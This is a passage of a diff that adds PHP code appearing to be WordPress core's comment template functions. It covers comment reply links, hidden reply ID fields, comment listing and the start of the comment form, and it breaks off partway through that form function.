+		$more = _n( '%1$s Comment<span class="screen-reader-text"> on %2$s</span>', '%1$s Comments<span class="screen-reader-text"> on %2$s</span>', $number );
+		$more = sprintf( $more, number_format_i18n( $number ), $title );
+	}
+
+	if ( false === $none ) {
+		/* translators: %s: post title */
+		$none = sprintf( __( 'Comments Off<span class="screen-reader-text"> on %s</span>' ), $title );
+	}
+
+	if ( 0 == $number && !comments_open() && !pings_open() ) {
+		echo '<span' . ((!empty($css_class)) ? ' class="' . esc_attr( $css_class ) . '"' : '') . '>' . $none . '</span>';
+		return;
+	}
+
+	if ( post_password_required() ) {
+		_e( 'Enter your password to view comments.' );
+		return;
+	}
+
+	echo '<a href="';
+	if ( 0 == $number ) {
+		$respond_link = get_permalink() . '#respond';
+		/**
+		 * Filters the respond link when a post has no comments.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $respond_link The default response link.
+		 * @param integer $id The post ID.
+		 */
+		echo apply_filters( 'respond_link', $respond_link, $id );
+	} else {
+		comments_link();
+	}
+	echo '"';
+
+	if ( !empty( $css_class ) ) {
+		echo ' class="'.$css_class.'" ';
+	}
+
+	$attributes = '';
+	/**
+	 * Filters the comments link attributes for display.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $attributes The comments link attributes. Default empty.
+	 */
+	echo apply_filters( 'comments_popup_link_attributes', $attributes );
+
+	echo '>';
+	comments_number( $zero, $one, $more );
+	echo '</a>';
+}
+
+/**
+ * Retrieve HTML content for reply to comment link.
+ *
+ * @since 2.7.0
+ * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object.
+ *
+ * @param array $args {
+ *     Optional. Override default arguments.
+ *
+ *     @type string $add_below  The first part of the selector used to identify the comment to respond below.
+ *                              The resulting value is passed as the first parameter to addComment.moveForm(),
+ *                              concatenated as $add_below-$comment->comment_ID. Default 'comment'.
+ *     @type string $respond_id The selector identifying the responding comment. Passed as the third parameter
+ *                              to addComment.moveForm(), and appended to the link URL as a hash value.
+ *                              Default 'respond'.
+ *     @type string $reply_text The text of the Reply link. Default 'Reply'.
+ *     @type string $login_text The text of the link to reply if logged out. Default 'Log in to Reply'.
+ *     @type int    $max_depth  The max depth of the comment tree. Default 0.
+ *     @type int    $depth      The depth of the new comment. Must be greater than 0 and less than the value
+ *                              of the 'thread_comments_depth' option set in Settings > Discussion. Default 0.
+ *     @type string $before     The text or HTML to add before the reply link. Default empty.
+ *     @type string $after      The text or HTML to add after the reply link. Default empty.
+ * }
+ * @param int|WP_Comment $comment Comment being replied to. Default current comment.
+ * @param int|WP_Post    $post    Post ID or WP_Post object the comment is going to be displayed on.
+ *                                Default current post.
+ * @return void|false|string Link to show comment form, if successful. False, if comments are closed.
+ */
+function get_comment_reply_link( $args = array(), $comment = null, $post = null ) {
+	$defaults = array(
+		'add_below'     => 'comment',
+		'respond_id'    => 'respond',
+		'reply_text'    => __( 'Reply' ),
+		/* translators: Comment reply button text. 1: Comment author name */
+		'reply_to_text' => __( 'Reply to %s' ),
+		'login_text'    => __( 'Log in to Reply' ),
+		'max_depth'     => 0,
+		'depth'         => 0,
+		'before'        => '',
+		'after'         => ''
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( 0 == $args['depth'] || $args['max_depth'] <= $args['depth'] ) {
+		return;
+	}
+
+	$comment = get_comment( $comment );
+
+	if ( empty( $post ) ) {
+		$post = $comment->comment_post_ID;
+	}
+
+	$post = get_post( $post );
+
+	if ( ! comments_open( $post->ID ) ) {
+		return false;
+	}
+
+	/**
+	 * Filters the comment reply link arguments.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array      $args    Comment reply link arguments. See get_comment_reply_link()
+	 *                            for more information on accepted arguments.
+	 * @param WP_Comment $comment The object of the comment being replied to.
+	 * @param WP_Post    $post    The WP_Post object.
+	 */
+	$args = apply_filters( 'comment_reply_link_args', $args, $comment, $post );
+
+	if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) {
+		$link = sprintf( '<a rel="nofollow" class="comment-reply-login" href="%s">%s</a>',
+			esc_url( wp_login_url( get_permalink() ) ),
+			$args['login_text']
+		);
+	} else {
+		$onclick = sprintf( 'return addComment.moveForm( "%1$s-%2$s", "%2$s", "%3$s", "%4$s" )',
+			$args['add_below'], $comment->comment_ID, $args['respond_id'], $post->ID
+		);
+
+		$link = sprintf( "<a rel='nofollow' class='comment-reply-link' href='%s' onclick='%s' aria-label='%s'>%s</a>",
+			esc_url( add_query_arg( 'replytocom', $comment->comment_ID, get_permalink( $post->ID ) ) ) . "#" . $args['respond_id'],
+			$onclick,
+			esc_attr( sprintf( $args['reply_to_text'], $comment->comment_author ) ),
+			$args['reply_text']
+		);
+	}
+
+	/**
+	 * Filters the comment reply link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string  $link    The HTML markup for the comment reply link.
+	 * @param array   $args    An array of arguments overriding the defaults.
+	 * @param object  $comment The object of the comment being replied.
+	 * @param WP_Post $post    The WP_Post object.
+	 */
+	return apply_filters( 'comment_reply_link', $args['before'] . $link . $args['after'], $args, $comment, $post );
+}
+
+/**
+ * Displays the HTML content for reply to comment link.
+ *
+ * @since 2.7.0
+ *
+ * @see get_comment_reply_link()
+ *
+ * @param array       $args    Optional. Override default options.
+ * @param int         $comment Comment being replied to. Default current comment.
+ * @param int|WP_Post $post    Post ID or WP_Post object the comment is going to be displayed on.
+ *                             Default current post.
+ * @return mixed Link to show comment form, if successful. False, if comments are closed.
+ */
+function comment_reply_link($args = array(), $comment = null, $post = null) {
+	echo get_comment_reply_link($args, $comment, $post);
+}
+
+/**
+ * Retrieve HTML content for reply to post link.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args {
+ *     Optional. Override default arguments.
+ *
+ *     @type string $add_below  The first part of the selector used to identify the comment to respond below.
+ *                              The resulting value is passed as the first parameter to addComment.moveForm(),
+ *                              concatenated as $add_below-$comment->comment_ID. Default is 'post'.
+ *     @type string $respond_id The selector identifying the responding comment. Passed as the third parameter
+ *                              to addComment.moveForm(), and appended to the link URL as a hash value.
+ *                              Default 'respond'.
+ *     @type string $reply_text Text of the Reply link. Default is 'Leave a Comment'.
+ *     @type string $login_text Text of the link to reply if logged out. Default is 'Log in to leave a Comment'.
+ *     @type string $before     Text or HTML to add before the reply link. Default empty.
+ *     @type string $after      Text or HTML to add after the reply link. Default empty.
+ * }
+ * @param int|WP_Post $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
+ *                             Default current post.
+ * @return false|null|string Link to show comment form, if successful. False, if comments are closed.
+ */
+function get_post_reply_link($args = array(), $post = null) {
+	$defaults = array(
+		'add_below'  => 'post',
+		'respond_id' => 'respond',
+		'reply_text' => __('Leave a Comment'),
+		'login_text' => __('Log in to leave a Comment'),
+		'before'     => '',
+		'after'      => '',
+	);
+
+	$args = wp_parse_args($args, $defaults);
+
+	$post = get_post($post);
+
+	if ( ! comments_open( $post->ID ) ) {
+		return false;
+	}
+
+	if ( get_option('comment_registration') && ! is_user_logged_in() ) {
+		$link = sprintf( '<a rel="nofollow" class="comment-reply-login" href="%s">%s</a>',
+			wp_login_url( get_permalink() ),
+			$args['login_text']
+		);
+	} else {
+		$onclick = sprintf( 'return addComment.moveForm( "%1$s-%2$s", "0", "%3$s", "%2$s" )',
+			$args['add_below'], $post->ID, $args['respond_id']
+		);
+
+		$link = sprintf( "<a rel='nofollow' class='comment-reply-link' href='%s' onclick='%s'>%s</a>",
+			get_permalink( $post->ID ) . '#' . $args['respond_id'],
+			$onclick,
+			$args['reply_text']
+		);
+	}
+	$formatted_link = $args['before'] . $link . $args['after'];
+
+	/**
+	 * Filters the formatted post comments link HTML.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string      $formatted The HTML-formatted post comments link.
+	 * @param int|WP_Post $post      The post ID or WP_Post object.
+	 */
+	return apply_filters( 'post_comments_link', $formatted_link, $post );
+}
+
+/**
+ * Displays the HTML content for reply to post link.
+ *
+ * @since 2.7.0
+ *
+ * @see get_post_reply_link()
+ *
+ * @param array       $args Optional. Override default options,
+ * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on.
+ *                          Default current post.
+ * @return string|bool|null Link to show comment form, if successful. False, if comments are closed.
+ */
+function post_reply_link($args = array(), $post = null) {
+	echo get_post_reply_link($args, $post);
+}
+
+/**
+ * Retrieve HTML content for cancel comment reply link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $text Optional. Text to display for cancel reply link. Default empty.
+ * @return string
+ */
+function get_cancel_comment_reply_link( $text = '' ) {
+	if ( empty($text) )
+		$text = __('Click here to cancel reply.');
+
+	$style = isset($_GET['replytocom']) ? '' : ' style="display:none;"';
+	$link = esc_html( remove_query_arg('replytocom') ) . '#respond';
+
+	$formatted_link = '<a rel="nofollow" id="cancel-comment-reply-link" href="' . $link . '"' . $style . '>' . $text . '</a>';
+
+	/**
+	 * Filters the cancel comment reply link HTML.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $formatted_link The HTML-formatted cancel comment reply link.
+	 * @param string $link           Cancel comment reply link URL.
+	 * @param string $text           Cancel comment reply link text.
+	 */
+	return apply_filters( 'cancel_comment_reply_link', $formatted_link, $link, $text );
+}
+
+/**
+ * Display HTML content for cancel comment reply link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $text Optional. Text to display for cancel reply link. Default empty.
+ */
+function cancel_comment_reply_link( $text = '' ) {
+	echo get_cancel_comment_reply_link($text);
+}
+
+/**
+ * Retrieve hidden input HTML for replying to comments.
+ *
+ * @since 3.0.0
+ *
+ * @param int $id Optional. Post ID. Default current post ID.
+ * @return string Hidden input HTML for replying to comments
+ */
+function get_comment_id_fields( $id = 0 ) {
+	if ( empty( $id ) )
+		$id = get_the_ID();
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+	$result  = "<input type='hidden' name='comment_post_ID' value='$id' id='comment_post_ID' />\n";
+	$result .= "<input type='hidden' name='comment_parent' id='comment_parent' value='$replytoid' />\n";
+
+	/**
+	 * Filters the returned comment id fields.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $result    The HTML-formatted hidden id field comment elements.
+	 * @param int    $id        The post ID.
+	 * @param int    $replytoid The id of the comment being replied to.
+	 */
+	return apply_filters( 'comment_id_fields', $result, $id, $replytoid );
+}
+
+/**
+ * Output hidden input HTML for replying to comments.
+ *
+ * @since 2.7.0
+ *
+ * @param int $id Optional. Post ID. Default current post ID.
+ */
+function comment_id_fields( $id = 0 ) {
+	echo get_comment_id_fields( $id );
+}
+
+/**
+ * Display text based on comment reply status.
+ *
+ * Only affects users with JavaScript disabled.
+ *
+ * @internal The $comment global must be present to allow template tags access to the current
+ *           comment. See https://core.trac.wordpress.org/changeset/36512.
+ *
+ * @since 2.7.0
+ *
+ * @global WP_Comment $comment Current comment.
+ *
+ * @param string $noreplytext  Optional. Text to display when not replying to a comment.
+ *                             Default false.
+ * @param string $replytext    Optional. Text to display when replying to a comment.
+ *                             Default false. Accepts "%s" for the author of the comment
+ *                             being replied to.
+ * @param string $linktoparent Optional. Boolean to control making the author's name a link
+ *                             to their comment. Default true.
+ */
+function comment_form_title( $noreplytext = false, $replytext = false, $linktoparent = true ) {
+	global $comment;
+
+	if ( false === $noreplytext ) $noreplytext = __( 'Leave a Reply' );
+	if ( false === $replytext ) $replytext = __( 'Leave a Reply to %s' );
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+
+	if ( 0 == $replytoid )
+		echo $noreplytext;
+	else {
+		// Sets the global so that template tags can be used in the comment form.
+		$comment = get_comment($replytoid);
+		$author = ( $linktoparent ) ? '<a href="#comment-' . get_comment_ID() . '">' . get_comment_author( $comment ) . '</a>' : get_comment_author( $comment );
+		printf( $replytext, $author );
+	}
+}
+
+/**
+ * List comments.
+ *
+ * Used in the comments.php template to list comments for a particular post.
+ *
+ * @since 2.7.0
+ *
+ * @see WP_Query->comments
+ *
+ * @global WP_Query $wp_query
+ * @global int      $comment_alt
+ * @global int      $comment_depth
+ * @global int      $comment_thread_alt
+ * @global bool     $overridden_cpage
+ * @global bool     $in_comment_loop
+ *
+ * @param string|array $args {
+ *     Optional. Formatting options.
+ *
+ *     @type object $walker            Instance of a Walker class to list comments. Default null.
+ *     @type int    $max_depth         The maximum comments depth. Default empty.
+ *     @type string $style             The style of list ordering. Default 'ul'. Accepts 'ul', 'ol'.
+ *     @type string $callback          Callback function to use. Default null.
+ *     @type string $end-callback      Callback function to use at the end. Default null.
+ *     @type string $type              Type of comments to list.
+ *                                     Default 'all'. Accepts 'all', 'comment', 'pingback', 'trackback', 'pings'.
+ *     @type int    $page              Page ID to list comments for. Default empty.
+ *     @type int    $per_page          Number of comments to list per page. Default empty.
+ *     @type int    $avatar_size       Height and width dimensions of the avatar size. Default 32.
+ *     @type bool   $reverse_top_level Ordering of the listed comments. If true, will display newest comments first.
+ *     @type bool   $reverse_children  Whether to reverse child comments in the list. Default null.
+ *     @type string $format            How to format the comments list.
+ *                                     Default 'html5' if the theme supports it. Accepts 'html5', 'xhtml'.
+ *     @type bool   $short_ping        Whether to output short pings. Default false.
+ *     @type bool   $echo              Whether to echo the output or return it. Default true.
+ * }
+ * @param array $comments Optional. Array of WP_Comment objects.
+ */
+function wp_list_comments( $args = array(), $comments = null ) {
+	global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop;
+
+	$in_comment_loop = true;
+
+	$comment_alt = $comment_thread_alt = 0;
+	$comment_depth = 1;
+
+	$defaults = array(
+		'walker'            => null,
+		'max_depth'         => '',
+		'style'             => 'ul',
+		'callback'          => null,
+		'end-callback'      => null,
+		'type'              => 'all',
+		'page'              => '',
+		'per_page'          => '',
+		'avatar_size'       => 32,
+		'reverse_top_level' => null,
+		'reverse_children'  => '',
+		'format'            => current_theme_supports( 'html5', 'comment-list' ) ? 'html5' : 'xhtml',
+		'short_ping'        => false,
+		'echo'              => true,
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filters the arguments used in retrieving the comment list.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param array $r An array of arguments for displaying comments.
+	 */
+	$r = apply_filters( 'wp_list_comments_args', $r );
+
+	// Figure out what comments we'll be looping through ($_comments)
+	if ( null !== $comments ) {
+		$comments = (array) $comments;
+		if ( empty($comments) )
+			return;
+		if ( 'all' != $r['type'] ) {
+			$comments_by_type = separate_comments($comments);
+			if ( empty($comments_by_type[$r['type']]) )
+				return;
+			$_comments = $comments_by_type[$r['type']];
+		} else {
+			$_comments = $comments;
+		}
+	} else {
+		/*
+		 * If 'page' or 'per_page' has been passed, and does not match what's in $wp_query,
+		 * perform a separate comment query and allow Walker_Comment to paginate.
+		 */
+		if ( $r['page'] || $r['per_page'] ) {
+			$current_cpage = get_query_var( 'cpage' );
+			if ( ! $current_cpage ) {
+				$current_cpage = 'newest' === get_option( 'default_comments_page' ) ? 1 : $wp_query->max_num_comment_pages;
+			}
+
+			$current_per_page = get_query_var( 'comments_per_page' );
+			if ( $r['page'] != $current_cpage || $r['per_page'] != $current_per_page ) {
+				$comment_args = array(
+					'post_id' => get_the_ID(),
+					'orderby' => 'comment_date_gmt',
+					'order' => 'ASC',
+					'status' => 'approve',
+				);
+
+				if ( is_user_logged_in() ) {
+					$comment_args['include_unapproved'] = get_current_user_id();
+				} else {
+					$commenter = wp_get_current_commenter();
+					if ( $commenter['comment_author_email'] ) {
+						$comment_args['include_unapproved'] = $commenter['comment_author_email'];
+					}
+				}
+
+				$comments = get_comments( $comment_args );
+
+				if ( 'all' != $r['type'] ) {
+					$comments_by_type = separate_comments( $comments );
+					if ( empty( $comments_by_type[ $r['type'] ] ) ) {
+						return;
+					}
+
+					$_comments = $comments_by_type[ $r['type'] ];
+				} else {
+					$_comments = $comments;
+				}
+			}
+
+		// Otherwise, fall back on the comments from `$wp_query->comments`.
+		} else {
+			if ( empty($wp_query->comments) )
+				return;
+			if ( 'all' != $r['type'] ) {
+				if ( empty($wp_query->comments_by_type) )
+					$wp_query->comments_by_type = separate_comments($wp_query->comments);
+				if ( empty($wp_query->comments_by_type[$r['type']]) )
+					return;
+				$_comments = $wp_query->comments_by_type[$r['type']];
+			} else {
+				$_comments = $wp_query->comments;
+			}
+
+			if ( $wp_query->max_num_comment_pages ) {
+				$default_comments_page = get_option( 'default_comments_page' );
+				$cpage = get_query_var( 'cpage' );
+				if ( 'newest' === $default_comments_page ) {
+					$r['cpage'] = $cpage;
+
+				/*
+				 * When first page shows oldest comments, post permalink is the same as
+				 * the comment permalink.
+				 */
+				} elseif ( $cpage == 1 ) {
+					$r['cpage'] = '';
+				} else {
+					$r['cpage'] = $cpage;
+				}
+
+				$r['page'] = 0;
+				$r['per_page'] = 0;
+			}
+		}
+	}
+
+	if ( '' === $r['per_page'] && get_option( 'page_comments' ) ) {
+		$r['per_page'] = get_query_var('comments_per_page');
+	}
+
+	if ( empty($r['per_page']) ) {
+		$r['per_page'] = 0;
+		$r['page'] = 0;
+	}
+
+	if ( '' === $r['max_depth'] ) {
+		if ( get_option('thread_comments') )
+			$r['max_depth'] = get_option('thread_comments_depth');
+		else
+			$r['max_depth'] = -1;
+	}
+
+	if ( '' === $r['page'] ) {
+		if ( empty($overridden_cpage) ) {
+			$r['page'] = get_query_var('cpage');
+		} else {
+			$threaded = ( -1 != $r['max_depth'] );
+			$r['page'] = ( 'newest' == get_option('default_comments_page') ) ? get_comment_pages_count($_comments, $r['per_page'], $threaded) : 1;
+			set_query_var( 'cpage', $r['page'] );
+		}
+	}
+	// Validation check
+	$r['page'] = intval($r['page']);
+	if ( 0 == $r['page'] && 0 != $r['per_page'] )
+		$r['page'] = 1;
+
+	if ( null === $r['reverse_top_level'] )
+		$r['reverse_top_level'] = ( 'desc' == get_option('comment_order') );
+
+	wp_queue_comments_for_comment_meta_lazyload( $_comments );
+
+	if ( empty( $r['walker'] ) ) {
+		$walker = new Walker_Comment;
+	} else {
+		$walker = $r['walker'];
+	}
+
+	$output = $walker->paged_walk( $_comments, $r['max_depth'], $r['page'], $r['per_page'], $r );
+
+	$in_comment_loop = false;
+
+	if ( $r['echo'] ) {
+		echo $output;
+	} else {
+		return $output;
+	}
+}
+
+/**
+ * Outputs a complete commenting form for use within a template.
+ *
+ * Most strings and form fields may be controlled through the $args array passed
+ * into the function, while you may also choose to use the {@see 'comment_form_default_fields'}
+ * filter to modify the array of default fields if you'd just like to add a new
+ * one or remove a single field. All fields are also individually passed through
+ * a filter of the {@see 'comment_form_field_$name'} where $name is the key used
+ * in the array of fields.
+ *
+ * @since 3.0.0
+ * @since 4.1.0 Introduced the 'class_submit' argument.
+ * @since 4.2.0 Introduced the 'submit_button' and 'submit_fields' arguments.
+ * @since 4.4.0 Introduced the 'class_form', 'title_reply_before', 'title_reply_after',
+ *              'cancel_reply_before', and 'cancel_reply_after' arguments.
+ * @since 4.5.0 The 'author', 'email', and 'url' form fields are limited to 245, 100,
+ *              and 200 characters, respectively.
+ * @since 4.6.0 Introduced the 'action' argument.
+ * @since 4.9.6 Introduced the 'cookies' default comment field.
+ *
+ * @param array       $args {
+ *     Optional. Default arguments and form fields to override.
+ *
+ *     @type array $fields {
+ *         Default comment fields, filterable by default via the {@see 'comment_form_default_fields'} hook.
+ *
+ *         @type string $author  Comment author field HTML.
+ *         @type string $email   Comment author email field HTML.
+ *         @type string $url     Comment author URL field HTML.
+ *         @type string $cookies Comment cookie opt-in field HTML.
+ *     }
+ *     @type string $comment_field        The comment textarea field HTML.
+ *     @type string $must_log_in          HTML element for a 'must be logged in to comment' message.
+ *     @type string $logged_in_as         HTML element for a 'logged in as [user]' message.
+ *     @type string $comment_notes_before HTML element for a message displayed before the comment fields
+ *                                        if the user is not logged in.
+ *                                        Default 'Your email address will not be published.'.
+ *     @type string $comment_notes_after  HTML element for a message displayed after the textarea field.
+ *     @type string $action               The comment form element action attribute. Default '/wp-comments-post.php'.
+ *     @type string $id_form              The comment form element id attribute. Default 'commentform'.
+ *     @type string $id_submit            The comment submit element id attribute. Default 'submit'.
+ *     @type string $class_form           The comment form element class attribute. Default 'comment-form'.
+ *     @type string $class_submit         The comment submit element class attribute. Default 'submit'.
+ *     @type string $name_submit          The comment submit element name attribute. Default 'submit'.
+ *     @type string $title_reply          The translatable 'reply' button label. Default 'Leave a Reply'.
+ *     @type string $title_reply_to       The translatable 'reply-to' button label. Default 'Leave a Reply to %s',
+ *                                        where %s is the author of the comment being replied to.
+ *     @type string $title_reply_before   HTML displayed before the comment form title.
+ *                                        Default: '<h3 id="reply-title" class="comment-reply-title">'.
+ *     @type string $title_reply_after    HTML displayed after the comment form title.
+ *                                        Default: '</h3>'.
+ *     @type string $cancel_reply_before  HTML displayed before the cancel reply link.
+ *     @type string $cancel_reply_after   HTML displayed after the cancel reply link.
+ *     @type string $cancel_reply_link    The translatable 'cancel reply' button label. Default 'Cancel reply'.
+ *     @type string $label_submit         The translatable 'submit' button label. Default 'Post a comment'.
+ *     @type string $submit_button        HTML format for the Submit button.
+ *                                        Default: '<input name="%1$s" type="submit" id="%2$s" class="%3$s" value="%4$s" />'.
+ *     @type string $submit_field         HTML format for the markup surrounding the Submit button and comment hidden
+ *                                        fields. Default: '<p class="form-submit">%1$s %2$s</p>', where %1$s is the
+ *                                        submit button markup and %2$s is the comment hidden fields.
+ *     @type string $format               The comment form format. Default 'xhtml'. Accepts 'xhtml', 'html5'.
+ * }
+ * @param int|WP_Post $post_id Post ID or WP_Post object to generate the form for. Default current post.
+ */
+function comment_form( $args = array(), $post_id = null ) {
+	if ( null === $post_id )
+		$post_id = get_the_ID();
+
+	// Exit the function when comments for the post are closed.
+	if ( ! comments_open( $post_id ) ) {
+		/**
+		 * Fires after the comment form if comments are closed.
+		 *
+		 * @since 3.0.0
+		 */
+		do_action( 'comment_form_comments_closed' );
+
+		return;
+	}
+
+	$commenter = wp_get_current_commenter();
+	$user = wp_get_current_user();
+	$user_identity = $user->exists() ? $user->display_name : '';
+
+	$args = wp_parse_args( $args );
+	if ( ! isset( $args['format'] ) )
+		$args['format'] = current_theme_supports( 'html5', 'comment-form' ) ? 'html5' : 'xhtml';
+
+	$req      = get_option( 'require_name_email' );
+	$html_req = ( $req ? " required='required'" : '' );
+	$html5    = 'html5' === $args['format'];
+	$fields   =  array(
+		'author'  => '<p class="comment-form-author">' . '<label for="author">' . __( 'Name' ) . ( $req ? ' <span class="required">*</span>' : '' ) . '</label> ' .
+					 '<input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) . '" size="30" maxlength="245"' . $html_req . ' /></p>',
+		'email'   => '<p class="comment-form-email"><label for="email">' . __( 'Email' ) . ( $req ? ' <span class="required">*</span>' : '' ) . '</label> ' .
+					 '<input id="email" name="email" ' . ( $html5 ? 'type="email"' : 'type="text"' ) . ' value="' . esc_attr( $commenter['comment_author_email'] ) . '" size="30" maxlength="100" aria-describedby="email-notes"' . $html_req . ' /></p>',
+		'url'     => '<p class="comment-form-url"><label for="url">' . __( 'Website' ) . '</label> ' .
+					 '<input id="url" name="url" ' . ( $html5 ? 'type="url"' : 'type="text"' ) . ' value="' . esc_attr( $commenter['comment_author_url'] ) . '" size="30" maxlength="200" /></p>',
+	);
+
+	if ( has_action( 'set_comment_cookies', 'wp_set_comment_cookies' ) && get_option( 'show_comments_cookies_opt_in' ) ) {
+		$consent           = empty( $commenter['comment_author_email'] ) ? '' : ' checked="checked"';
+		$fields['cookies'] = '<p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes"' . $consent . ' />' .
+							 '<label for="wp-comment-cookies-consent">' . __( 'Save my name, email, and website in this browser for the next time I comment.' ) . '</label></p>';
+
+		// Ensure that the passed fields include cookies consent.
+		if ( isset( $args['fields'] ) && ! isset( $args['fields']['cookies'] ) ) {
+			$args['fields']['cookies'] = $fields['cookies'];
+		}
+	}
+
+	$required_text = sprintf( ' ' . __( 'Required fields are marked %s' ), '<span class="required">*</span>' );
+
+	/**
+	 * Filters the default comment form fields.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $fields The default comment fields.
+	 */
+	$fields = apply_filters( 'comment_form_default_fields', $fields );
+	$defaults = array(
+		'fields'               => $fields,
+		'comment_field'        => '<p class="comment-form-comment"><label for="comment">' . _x( 'Comment', 'noun' ) . '</label> <textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required="required"></textarea></p>',
+		/** This filter is documented in wp-includes/link-template.php */
+		'must_log_in'          => '<p class="must-log-in">' . sprintf(
+		                              /* translators: %s: login URL */
+		                              __( 'You must be <a href="%s">logged in</a> to post a comment.' ),
+		                              wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) )
+		                          ) . '</p>',
+		/** This filter is documented in wp-includes/link-template.php */
+		'logged_in_as'         => '<p class="logged-in-as">' . sprintf(
+		                              /* translators: 1: edit user link, 2: accessibility text, 3: user name, 4: logout URL */
+		                              __( '<a href="%1$s" aria-label="%2$s">Logged in as %3$s</a>. <a href="%4$s">Log out?</a>' ),
+		                              get_edit_user_link(),
+		                              /* translators: %s: user name */
+		                              esc_attr( sprintf( __( 'Logged in as %s. Edit your profile.' ), $user_identity ) ),
+		                              $user_identity,
+		                              wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) )
+		                          ) . '</p>',
+		'comment_notes_before' => '<p class="comment-notes"><span id="email-notes">' . __( 'Your email address will not be published.' ) . '</span>'. ( $req ? $required_text : '' ) . '</p>',
+		'comment_notes_after'  => '',
+		'action'               => site_url( '/wp-comments-post.php' ),
+		'id_form'              => 'commentform',
+		'id_submit'            => 'submit',
+		'class_form'           => 'comment-form',
+		'class_submit'         => 'submit',
+		'name_submit'          => 'submit',
+		'title_reply'          => __( 'Leave a Reply' ),
+		'title_reply_to'       => __( 'Leave a Reply to %s' ),
+		'title_reply_before'   => '<h3 id="reply-title" class="comment-reply-title">',
+		'title_reply_after'    => '</h3>',
+		'cancel_reply_before'  => ' <small>',
+		'cancel_reply_after'   => '</small>',
+		'cancel_reply_link'    => __( 'Cancel reply' ),
+		'label_submit'         => __( 'Post Comment' ),
+		'submit_button'        => '<input name="%1$s" type="submit" id="%2$s" class="%3$s" value="%4$s" />',
+		'submit_field'         => '<p class="form-submit">%1$s %2$s</p>',
+		'format'               => 'xhtml',
+	);
+
+	/**
+	 * Filters the comment form default arguments.
+	 *
+	 * Use {@see 'comment_form_default_fields'} to filter the comment fields.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $defaults The default comment form arguments.
+	 */
+	$args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) );
+
+	// Ensure that the filtered args contain all required default values.
+	$args = array_merge( $defaults, $args );
+
+	/**
+	 * Fires before the comment form.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'comment_form_before' );
+	?>
+	<div id="respond" class="comment-respond">
+		<?php
+		echo $args['title_reply_before'];
+
+		comment_form_title( $args['title_reply'], $args['title_reply_to'] );
+
+		echo $args['cancel_reply_before'];
+
+		cancel_comment_reply_link( $args['cancel_reply_link'] );
+
+		echo $args['cancel_reply_after'];
+
+		echo $args['title_reply_after'];
+
+		if ( get_option( 'comment_registration' ) && !is_user_logged_in() ) :
+			echo $args['must_log_in'];
+			/**
+			 * Fires after the HTML-formatted 'must log in after' message in the comment form.
+			 *
+			 * @since 3.0.0
+			 */
+			do_action( 'comment_form_must_log_in_after' );
+		else : ?>
+			<form action="<?php echo esc_url( $args['action'] ); ?>" method="post" id="<?php echo esc_attr( $args['id_form'] ); ?>" class="<?php echo esc_attr( $args['class_form'] ); ?>"<?php echo $html5 ? ' novalidate' : ''; ?>>
+				<?php
+				/**
+				 * Fires at the top of the comment form, inside the form tag.
+				 *
+				 * @since 3.0.0
+				 */
+				do_action( 'comment_form_top' );
+
+				if ( is_user_logged_in() ) :
+					/**
+					 * Filters the 'logged in' message for the comment form for display.
+					 *
+					 * @since 3.0.0
+					 *
+					 * @param string $args_logged_in The logged-in-as HTML-formatted message.
+					 * @param array  $commenter      An array containing the comment author's
+					 *                               username, email, and URL.
+					 * @param string $user_identity  If the commenter is a registered user,
+					 *                               the display name, blank otherwise.
+					 */
+					echo apply_filters( 'comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity );
+
+					/**
+					 * Fires after the is_user_logged_in() check in the comment form.
+					 *
+					 * @since 3.0.0
+					 *
+					 * @param array  $commenter     An array containing the comment author's
+					 *                              username, email, and URL.
+					 * @param string $user_identity If the commenter is a registered user,
+					 *                              the display name, blank otherwise.
+					 */
+					do_action( 'comment_form_logged_in_after', $commenter, $user_identity );
+
+				else :
+
+					echo $args['comment_notes_before'];
+
+				endif;
+
+				// Prepare an array of all fields, including the textarea
+				$comment_fields = array( 'comment' => $args['comment_field'] ) + (array) $args['fields'];
+
+				/**
+				 * Filters the comment form fields, including the textarea.
+				 *
+				 * @since 4.4.0
+				 *
+				 * @param array $comment_fields The comment fields.
+				 */
+				$comment_fields = apply_filters( 'comment_form_fields', $comment_fields );
+
+				// Get an array of field names, excluding the textarea
+				$comment_field_keys = array_diff( array_keys( $comment_fields ), array( 'comment' ) );
+
+				// Get the first and the last field name, excluding the textarea
+				$first_field = reset( $comment_field_keys );
+				$last_field  = end( $comment_field_keys );
+
+				foreach ( $comment_fields as $name => $field ) {
+
+					if ( 'comment' === $name ) {
+
+						/**
+						 * Filters the content of the comment textarea field for display.
+						 *
+						 * @since 3.0.0
+						 *
+						 * @param string $args_comment_field The content of the comment textarea field.
+						 */
+						echo apply_filters( 'comment_form_field_comment', $field );
+
+						echo $args['comment_notes_after'];
+
